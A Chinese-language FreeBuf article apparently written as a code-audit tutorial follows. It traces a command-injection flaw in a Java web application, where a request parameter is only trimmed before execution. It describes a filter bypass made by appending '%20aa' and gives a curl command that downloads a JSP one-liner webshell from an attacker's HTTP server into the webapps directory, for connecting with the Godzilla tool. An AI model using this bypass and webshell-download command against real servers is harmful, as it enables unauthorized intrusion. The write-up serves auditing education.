官方公众号企业安全新浪微博
FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。
FreeBuf+小程序
JAVA代码审计 ——从命令执行到GetShell
kN4im3- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
JAVA代码审计 ——从命令执行到GetShell
*严正声明：本文仅限于技术讨论与分享，严禁用于非法途径。
最近做项目遇到一个比较典型命令执行漏洞，适合新手学习，给大家分享下整个过程。
从代码中可以看出来程序只使用trim()方法对jdk进行了两遍的空格过滤，然后直接和后面拼接的命令一起执行。
接着来找一下这个方法的调用链，
可以看到这里依次调用了3个命令执行的方法，如果命令都能成功执行的话，可以执行3次。
然后找一下这个jdk参数是否是我们可控的，
上面的代码显示jdk这个参数是从请求中获取的，看到这里已经能确定是个命令执行漏洞了，下面我们来利用这个漏洞。
执行了ls&&结果报错，看显示结果发现过滤了&&，然后把&转编码发现还是会报错，但是从服务端代码来看并没有做参数的过滤。
最终经过多次FUZZ尝试发现在命令后面加上%20aa就可以正常执行命令了，尝试直接echo写shell没成功，使用下载文件的方式getshell。
搭建一个http服务，添加一句话木马文件
执行下面的命令进行getshell
curl%20-o%20../../webapps/xxxxx/xx.jsp%20http://xx.xx.xx.xx/hoo.jsp%20aa
使用哥斯拉进行连接
免责声明
1.一般免责声明：本文所提供的技术信息仅供参考，不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》，作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明：文中技术内容可能不适用于所有情况或系统，在实际应用前请充分测试和评估。若因使用不当造成的任何问题，相关方不承担责任。
3. 更新声明：技术发展迅速，文章内容可能存在滞后性。读者需自行判断信息的时效性，因依据过时内容产生的后果，作者及发布平台不承担责任。
本文为 kN4im3 独立观点，未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件，请联系 FreeBuf 客服小蜜蜂（微信：freebee1024）
如需授权、对文章有疑问或需删除稿件，请联系 FreeBuf 客服小蜜蜂（微信：freebee1024）
被以下专辑收录，发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
kN4im3 LV.1
这家伙太懒了，还未填写个人描述！
- 1 文章数
- 7 关注者